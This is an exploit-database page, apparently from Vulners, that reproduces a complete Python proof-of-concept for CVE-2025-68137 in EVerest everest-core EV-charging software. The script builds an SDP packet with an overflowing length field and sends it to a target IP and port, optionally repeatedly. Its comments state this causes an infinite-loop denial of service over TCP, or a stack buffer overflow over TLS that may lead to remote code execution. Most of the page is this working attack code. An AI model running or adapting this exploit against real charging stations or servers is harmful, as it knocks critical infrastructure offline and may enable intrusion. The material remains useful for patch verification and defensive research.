...[ More ]
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2025-68137 | 21 Jan 202619:20 | – | attackerkb | |
| CVE-2025-68137 | 21 Jan 202620:34 | – | circl | |
| Everest-core security vulnerabilities | 21 Jan 202600:00 | – | cnnvd | |
| CVE-2025-68137 | 21 Jan 202619:20 | – | cve | |
| CVE-2025-68137 EVerest's Integer Overflow and Signed to Unsigned conversion lead to either stack buffer overflow or infinite loop | 21 Jan 202619:20 | – | cvelist | |
| EVerest 2025.9.0 - DoS | 2 Sep 202600:00 | – | exploitdb | |
| EUVD-2025-206317 | 21 Jan 202619:20 | – | euvd | |
| CVE-2025-68137 | 21 Jan 202620:16 | – | nvd | |
| PT-2026-3850 | 21 Jan 202600:00 | – | ptsecurity | |
| CVE-2025-68137 | 22 Jan 202619:22 | – | redhatcve |
10
# Exploit Title: EVerest 2025.9.0 - DoS
# Date: 2026-08-11
# Exploit Author: [Ranjit Kumar Singh]
# Vendor Homepage: https://github.com/EVerest/everest-core
# Software Link:
https://github.com/EVerest/everest-core/archive/refs/tags/2025.9.0.tar.gz
# Version: everest-core < 2025.10.0
# Tested on: Ubuntu 22.04 / EVerest 2025.9.0
# CVE: CVE-2025-68137
# Attack Vector: Adjacent Network
# Authentication: None
"""
CVE-2025-68137 - EVerest SDP Integer Overflow → Stack Buffer Overflow / DoS
Exploit Author: Ranjit Kumar Singh
Vendor: https://github.com/EVerest/everest-core
Software Link: https://github.com/EVerest/everest-core/archive/refs/tags/2025.9.0.tar.gz
Vulnerable Versions: EVerest everest-core < 2025.10.0
Tested on: Linux (Ubuntu 22.04) / EVerest 2025.9.0
CVE: CVE-2025-68137
Description:
An integer overflow in SdpPacket::parse_header() allows an attacker to
trigger either an infinite loop (TCP) or stack buffer overflow (TLS)
by sending a malformed SDP packet with a specially crafted length field.
The vulnerability exists because the length field (4 bytes) is added to
the header size (8) without proper overflow checking. When the length
value is near UINT_MAX, the addition overflows, causing the remaining
bytes to read to be interpreted as SIZE_MAX.
Usage:
# Trigger DoS (infinite loop) on TCP server
python3 CVE-2025-68137.py -t 192.168.1.100 -p 5200
# Trigger stack buffer overflow on TLS server (may lead to RCE)
python3 CVE-2025-68137.py -t 192.168.1.100 -p 5200 --tls
# Send multiple packets to increase impact
python3 CVE-2025-68137.py -t 192.168.1.100 -p 5200 --count 100
# Custom SDP version bytes (for testing different implementations)
python3 CVE-2025-68137.py -t 192.168.1.100 -p 5200 --version 0x01 --inverse 0xFE
"""
import argparse
import socket
import ssl
import struct
import time
import sys
# SDP Protocol Constants
SDP_PROTOCOL_VERSION = 0x01
SDP_INVERSE_PROTOCOL_VERSION = 0xFE
V2GTP_HEADER_SIZE = 8
def build_malicious_sdp_packet(version=0x01, inverse=0xFE):
"""
Build a malformed SDP packet that triggers the integer overflow.
The packet structure:
- Byte 0: Protocol version (must be 0x01)
- Byte 1: Inverse protocol version (must be 0xFE)
- Byte 2-3: Reserved/Unused (0x0000)
- Byte 4-7: Length field (triggers overflow when +8 is applied)
The overflow occurs when the length field is near UINT_MAX.
When the code does: length = be32toh(tmp) + V2GTP_HEADER_SIZE
If tmp is close to UINT_MAX, the addition overflows.
We use 0xFFFFFFFF - 7 to make length = 0 after overflow,
then length - bytes_read becomes negative → SIZE_MAX.
"""
# Trigger integer overflow: tmp + 8 overflows when tmp >= UINT_MAX - 7
# UINT_MAX = 0xFFFFFFFF
overflow_value = 0xFFFFFFF8 # UINT_MAX - 7
# Build the packet
packet = bytearray()
packet.append(version) # Protocol version
packet.append(inverse) # Inverse protocol version
packet.extend(b'\x00\x00') # Reserved (2 bytes)
packet.extend(struct.pack('>I', overflow_value)) # Length (big-endian)
return bytes(packet)
def build_normal_sdp_packet(version=0x01, inverse=0xFE, payload_size=0):
"""
Build a normal SDP packet for comparison/testing.
"""
packet = bytearray()
packet.append(version)
packet.append(inverse)
packet.extend(b'\x00\x00')
packet.extend(struct.pack('>I', payload_size))
return bytes(packet)
def send_packet(target_ip, target_port, packet, use_tls=False, count=1):
"""
Send the malformed SDP packet to the target.
"""
success_count = 0
fail_count = 0
for i in range(count):
try:
# Create socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
# Wrap with TLS if requested
if use_tls:
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
sock = context.wrap_socket(sock, server_hostname=target_ip)
# Connect and send
sock.connect((target_ip, target_port))
sock.send(packet)
# Try to read response (may hang if infinite loop triggered)
try:
response = sock.recv(1024)
print(f"[{i+1}/{count}] Response received ({len(response)} bytes)")
except socket.timeout:
print(f"[{i+1}/{count}] Timeout - possible DoS/loop triggered")
sock.close()
success_count += 1
except ConnectionRefusedError:
print(f"[{i+1}/{count}] Connection refused - service may be down")
fail_count += 1
except socket.timeout:
print(f"[{i+1}/{count}] Connection timeout")
fail_count += 1
except Exception as e:
print(f"[{i+1}/{count}] Error: {e}")
fail_count += 1
# Small delay between packets
if i < count - 1:
time.sleep(0.1)
return success_count, fail_count
def main():
parser = argparse.ArgumentParser(
description="CVE-2025-68137 - EVerest SDP Integer Overflow Exploit"
)
parser.add_argument("-t", "--target", required=True,
help="Target IP address (e.g., 192.168.1.100)")
parser.add_argument("-p", "--port", type=int, default=5200,
help="Target port (default: 5200)")
parser.add_argument("--tls", action="store_true",
help="Use TLS connection (triggers stack buffer overflow)")
parser.add_argument("--count", type=int, default=1,
help="Number of packets to send (default: 1)")
parser.add_argument("--version", type=lambda x: int(x, 0), default=0x01,
help="Protocol version byte (default: 0x01)")
parser.add_argument("--inverse", type=lambda x: int(x, 0), default=0xFE,
help="Inverse protocol version byte (default: 0xFE)")
parser.add_argument("--payload-size", type=int, default=0,
help="Payload size for normal packets (for testing)")
parser.add_argument("--normal", action="store_true",
help="Send normal packet instead of malicious")
args = parser.parse_args()
print("=" * 60)
print("CVE-2025-68137 - EVerest SDP Integer Overflow Exploit")
print("=" * 60)
print(f"Target: {args.target}:{args.port}")
print(f"TLS: {'Enabled' if args.tls else 'Disabled'}")
print(f"Packets: {args.count}")
print(f"Mode: {'Normal' if args.normal else 'Malicious'}")
print("=" * 60)
# Build packet
if args.normal:
packet = build_normal_sdp_packet(args.version, args.inverse, args.payload_size)
print(f"[*] Using normal packet (payload size: {args.payload_size})")
else:
packet = build_malicious_sdp_packet(args.version, args.inverse)
print("[*] Using malicious packet (triggering integer overflow)")
print(f"[*] Packet hex: {packet.hex()}")
print(f"[*] Packet size: {len(packet)} bytes")
print("-" * 60)
if args.tls:
print("[!] TLS mode: May trigger stack buffer overflow (potential RCE)")
else:
print("[!] TCP mode: Will trigger infinite loop (DoS)")
print("-" * 60)
# Send packet
print(f"[*] Sending {args.count} packet(s)...")
success, fail = send_packet(
args.target, args.port, packet,
use_tls=args.tls, count=args.count
)
print("-" * 60)
print(f"[+] Packets sent successfully: {success}")
print(f"[-] Failed: {fail}")
if success > 0 and not args.normal:
print("\n[!] If the target is vulnerable:")
if args.tls:
print(" - Stack buffer overflow triggered (check for crashes)")
print(" - May lead to remote code execution")
else:
print(" - Infinite loop triggered (service will hang)")
print(" - Denial of Service achieved")
print("\n[+] References:")
print(" - https://github.com/EVerest/EVerest/security/advisories/GHSA-7qq4-q9r8-wc7w")
print(" - https://nvd.nist.gov/vuln/detail/CVE-2025-68137")
if __name__ == "__main__":
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
03 Sep 2026 00:00Current
CVSS 3.18.3
EPSS0.01029
SSVC